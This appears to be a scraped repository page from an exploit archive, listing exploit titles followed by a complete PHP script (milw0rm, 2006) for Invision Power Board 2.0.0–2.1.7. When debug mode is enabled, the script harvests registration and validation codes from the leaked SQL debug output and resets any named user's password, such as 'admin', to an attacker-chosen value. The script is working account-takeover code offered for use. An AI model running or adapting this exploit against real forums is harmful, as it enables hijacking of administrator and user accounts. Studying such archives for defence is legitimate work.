477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
96 lines
3.2 KiB
PHP
Executable file
96 lines
3.2 KiB
PHP
Executable file
<?php
|
|
/*
|
|
|
|
Debug Mode password change vulnerability
|
|
Affects Invision Power Borard 2.0.0 to 2.1.7
|
|
by Rapigator
|
|
|
|
This works if:
|
|
|
|
"Debug Level" is set to 3
|
|
or
|
|
Enable SQL Debug Mode is turned on
|
|
|
|
In General Configuration of the forum software.
|
|
|
|
*/
|
|
|
|
// The forum's address up to and including 'index.php'
|
|
$site = "http://localhost/forums/index.php";
|
|
|
|
// An existing user's login name
|
|
$name = "admin";
|
|
|
|
// The new password(3-32 characters)
|
|
$pass = "1234";
|
|
|
|
// You can use a proxy...
|
|
// $proxy = "1.2.3.4:8080";
|
|
|
|
|
|
|
|
// -----------------------------
|
|
$site .= "?";
|
|
$suffix = "";
|
|
$name = urlencode($name);
|
|
$pass = urlencode($pass);
|
|
$curl = curl_init($site.'act=Reg&CODE=10');
|
|
curl_setopt($curl, CURLOPT_PROXY, $proxy);
|
|
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
|
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
|
|
$page = curl_exec($curl);
|
|
curl_close($curl);
|
|
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
|
|
$prefix = $regs[1];
|
|
$regid = $regs[2];
|
|
$regcode = $regs[3];
|
|
} else {
|
|
$suffix = "&debug=1";
|
|
$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
|
|
curl_setopt($curl, CURLOPT_PROXY, $proxy);
|
|
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
|
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
|
|
$page = curl_exec($curl);
|
|
curl_close($curl);
|
|
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
|
|
$prefix = $regs[1];
|
|
$regid = $regs[2];
|
|
$regcode = $regs[3];
|
|
}
|
|
}
|
|
if (!isset($regid) || !isset($regcode)) {
|
|
echo "Error: Probably not vulnerable, or no forum found";
|
|
exit;
|
|
}
|
|
|
|
$curl = curl_init($site.$suffix);
|
|
curl_setopt($curl, CURLOPT_PROXY, $proxy);
|
|
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
|
curl_setopt($curl, CURLOPT_POST, 1);
|
|
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}®id={$regid}®_code={$regcode}");
|
|
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
|
|
$page = curl_exec($curl);
|
|
curl_close($curl);
|
|
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
|
|
change_pass($regcode,$regid,$regs[1],$regs[2]);
|
|
}
|
|
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
|
|
change_pass($regcode,$regid,$regs[1],$regs[2]);
|
|
}
|
|
|
|
function change_pass($regcode,$regid,$vid,$userid) {
|
|
global $site, $proxy, $name, $pass;
|
|
$curl = curl_init($site.$suffix);
|
|
curl_setopt($curl, CURLOPT_PROXY, $proxy);
|
|
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
|
curl_setopt($curl, CURLOPT_POST, 1);
|
|
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}®id={$regid}®_code={$regcode}&pass1={$pass}&pass2={$pass}");
|
|
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
|
|
$page = curl_exec($curl);
|
|
curl_close($curl);
|
|
echo "Password Changed!";
|
|
exit;
|
|
}
|
|
?>
|
|
|
|
# milw0rm.com [2006-11-01]
|